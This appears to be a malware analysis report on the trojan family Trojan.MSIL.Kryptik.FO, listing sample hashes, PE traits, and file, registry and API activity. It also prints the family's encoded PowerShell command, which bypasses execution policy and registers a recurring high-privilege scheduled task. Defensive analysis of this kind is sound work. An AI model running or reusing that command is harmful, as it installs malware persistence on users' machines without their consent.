Trojan.MSIL.Kryptik.FO
Table of Contents
Analysis Report
General information
| Family Name: | Trojan.MSIL.Kryptik.FO |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
52e7b5f93348d67f04b15671d223c402
SHA1:
34c93bc132f469c28d6b715cc68fcc144d10ee96
SHA256:
834DC63E1ACF6B2DCD938C18F458E302192C34E844CD23C071A5B2CC6733FA89
File Size:
570.37 KB, 570368 bytes
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MD5:
13f6d1301761db68b8a9ec87c4d01029
SHA1:
b76995c11a0ab2f533fc6b65e1a9bb21a1636243
SHA256:
44848E50FA4F55F81F255759EE5E7EB33D2F771F4C7E6F5C0819EDD9D2A27CC8
File Size:
701.44 KB, 701440 bytes
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MD5:
c4bf473c1cb3e413435ae2c812f432fe
SHA1:
526ea55cd35fc690bf1c70c8746e4f752e5afc65
SHA256:
2605E300237C3957EE97C80037EA3DA3E3DBEC9491AD06ADC3E845BACC1EB8D2
File Size:
566.78 KB, 566784 bytes
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MD5:
c1e5c08213cafdc04e38cc462d3e4dc9
SHA1:
cc4c5a0435e50a55dee8ab51f9b3861260ac89c1
SHA256:
A4C504AA17C92397D2440D98633D205DBFFC0CD4570DB5827641DDD0D450C9E8
File Size:
573.95 KB, 573952 bytes
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Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have debug information
- File doesn't have exports table
- File doesn't have relocations information
- File doesn't have security information
- File is .NET application
- File is 32-bit executable
- File is 64-bit executable
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
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- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
|---|---|
| Assembly Version | 1.0.0.0 |
| File Version | 1.0.0.0 |
| Internal Name |
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| Original Filename |
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| Product Version | 1.0.0.0 |
File Traits
- .NET
- GenKrypt
- HighEntropy
- x64
- x86
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 9 |
|---|---|
| Potentially Malicious Blocks: | 4 |
| Whitelisted Blocks: | 1 |
| Unknown Blocks: | 4 |
Visual Map
x
x
x
?
?
?
x
0
?
0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block
? - Unknown Block
x - Potentially Malicious Block
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \device\namedpipe\pshost.134004907453557068.2856.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_sdzvncdi.ljy.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_sqlndagh.tvt.psm1 | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| User Data Access |
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| Encryption Used |
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| Anti Debug |
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| Other Suspicious |
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| Process Shell Execute |
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| Syscall Use |
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21 additional items are not displayed above. |
| Network Winsock2 |
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| Network Winsock |
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Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBTAGgAbwByAHQAQwB1AHQALgBlAHgAZQAnACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAHgAcQB5AHAAZwBiAGkAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAaABvAHIAdABDAHUAdAAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=
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